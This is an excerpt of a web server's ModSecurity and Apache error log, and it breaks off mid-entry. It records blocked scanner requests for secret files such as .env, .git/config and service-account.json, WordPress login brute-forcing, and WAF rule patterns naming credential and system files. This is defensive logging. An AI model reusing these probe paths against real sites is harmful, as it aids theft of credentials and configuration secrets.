https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:18:01.319695 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:18:01.391668 2026] [security2:error] [pid 646876:tid 647104] [client 185.177.72.9:53198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpsysinfo/phpsysinfo.php"] [unique_id "ai3zOdyTkdrNlD40tSGzEgAAAGA"] [Sat Jun 13 18:18:01.474114 2026] [security2:error] [pid 646876:tid 646966] [remote 17.246.23.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zOdyTkdrNlD40tSGzFQAAC1c"] [Sat Jun 13 18:18:01.658613 2026] [security2:error] [pid 648189:tid 648399] [client 185.177.72.9:53208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phptest.php"] [unique_id "ai3zOVWSojQL4F7upKBqsQAAALM"] [Sat Jun 13 18:18:01.691521 2026] [security2:error] [pid 648189:tid 648334] [remote 17.246.15.213:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zOVWSojQL4F7upKBqswAA928"] [Sat Jun 13 18:18:01.778446 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.34:38064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:01.778804 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.34:38064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:01.789731 2026] [security2:error] [pid 648189:tid 648269] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/.env.old"] [unique_id "ai3zOVWSojQL4F7upKBqvQAA4S8"] [Sat Jun 13 18:18:01.854663 2026] [security2:error] [pid 648189:tid 648439] [client 210.217.96.217:34438] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zOVWSojQL4F7upKBqwAAAANo"] [Sat Jun 13 18:18:01.854778 2026] [security2:error] [pid 648189:tid 648439] [client 210.217.96.217:34438] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zOVWSojQL4F7upKBqwAAAANo"] [Sat Jun 13 18:18:01.855437 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:01.855863 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:01.855895 2026] [security2:error] [pid 648189:tid 648332] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Match of "rx ^/llms.txt" against "REQUEST_URI" required. [file "/opt/mod_security/hg_rules.conf"] [line "588"] [id "999814"] [msg "Misbehaving AI Crawler"] [hostname "mail.lthssolar.com"] [uri "/.git/config"] [unique_id "ai3zOVWSojQL4F7upKBqwQAAu20"] [Sat Jun 13 18:18:01.933047 2026] [security2:error] [pid 648189:tid 648360] [client 185.177.72.9:53210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpversion.php"] [unique_id "ai3zOVWSojQL4F7upKBqxAAAAIw"] [Sat Jun 13 18:18:01.947263 2026] [security2:error] [pid 648189:tid 648314] [remote 118.233.90.178:39938] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.90.233.118.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "chrisbernabeo.com"] [uri "/wp-login.php"] [unique_id "ai3zOVWSojQL4F7upKBqwwAA2Fw"] [Sat Jun 13 18:18:02.131886 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.101:54130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:02.132316 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.101:54130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:02.166233 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.90:21854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:02.166706 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.90:21854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:02.201786 2026] [security2:error] [pid 648189:tid 648374] [client 185.177.72.9:53214] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/pi.php5"] [unique_id "ai3zOlWSojQL4F7upKBqywAAAJo"] [Sat Jun 13 18:18:02.352398 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvZHJpdmVy [Sat Jun 13 18:18:02.352855 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvZHJpdmVy [Sat Jun 13 18:18:02.415400 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.64:32428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:02.415840 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.64:32428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:02.474147 2026] [security2:error] [pid 648189:tid 648406] [client 189.217.192.30:50211] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3zOlWSojQL4F7upKBq1QAAALk"] [Sat Jun 13 18:18:02.474336 2026] [security2:error] [pid 648189:tid 648406] [client 189.217.192.30:50211] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3zOlWSojQL4F7upKBq1QAAALk"] [Sat Jun 13 18:18:02.478139 2026] [security2:error] [pid 646876:tid 647106] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pictures/.env"] [unique_id "ai3zOtyTkdrNlD40tSGzNgAAAGI"] [Sat Jun 13 18:18:02.614718 2026] [security2:error] [pid 646876:tid 647118] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/platform/.env"] [unique_id "ai3zOtyTkdrNlD40tSGzOQAAAG4"] [Sat Jun 13 18:18:02.750636 2026] [security2:error] [pid 646876:tid 647022] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/playground/.env"] [unique_id "ai3zOtyTkdrNlD40tSGzPwAAAA4"] [Sat Jun 13 18:18:02.760739 2026] [security2:error] [pid 648189:tid 648410] [client 189.217.192.30:50212] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3zOlWSojQL4F7upKBq4gAAAL0"] [Sat Jun 13 18:18:02.760856 2026] [security2:error] [pid 648189:tid 648410] [client 189.217.192.30:50212] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3zOlWSojQL4F7upKBq4gAAAL0"] [Sat Jun 13 18:18:02.835773 2026] [security2:error] [pid 648189:tid 648324] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/service-account.json"] [unique_id "ai3zOlWSojQL4F7upKBq5AAA4mU"] [Sat Jun 13 18:18:02.848376 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.11:31519] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:02.848832 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.11:31519] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:02.892112 2026] [security2:error] [pid 646876:tid 647053] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/plugin_static/.env"] [unique_id "ai3zOtyTkdrNlD40tSGzRQAAAC0"] [Sat Jun 13 18:18:02.901018 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:18:02.901487 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:18:02.917923 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.112:58148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:02.918376 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.112:58148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:03.030941 2026] [security2:error] [pid 646876:tid 647128] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/plugins/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzTAAAAHg"] [Sat Jun 13 18:18:03.166685 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/post-deployment/.vscode/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzVAAAAHM"] [Sat Jun 13 18:18:03.304907 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/postfixadmin/.env"] [unique_id "ai3zO9yTkdrNlD40tSGzVwAAAFQ"] [Sat Jun 13 18:18:03.345140 2026] [security2:error] [pid 648189:tid 648415] [client 192.178.6.40:40767] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zO1WSojQL4F7upKBq9AAAAMI"] [Sat Jun 13 18:18:03.399352 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:03.399822 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:18:03.417078 2026] [security2:error] [pid 646876:tid 646970] [remote 17.22.237.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg 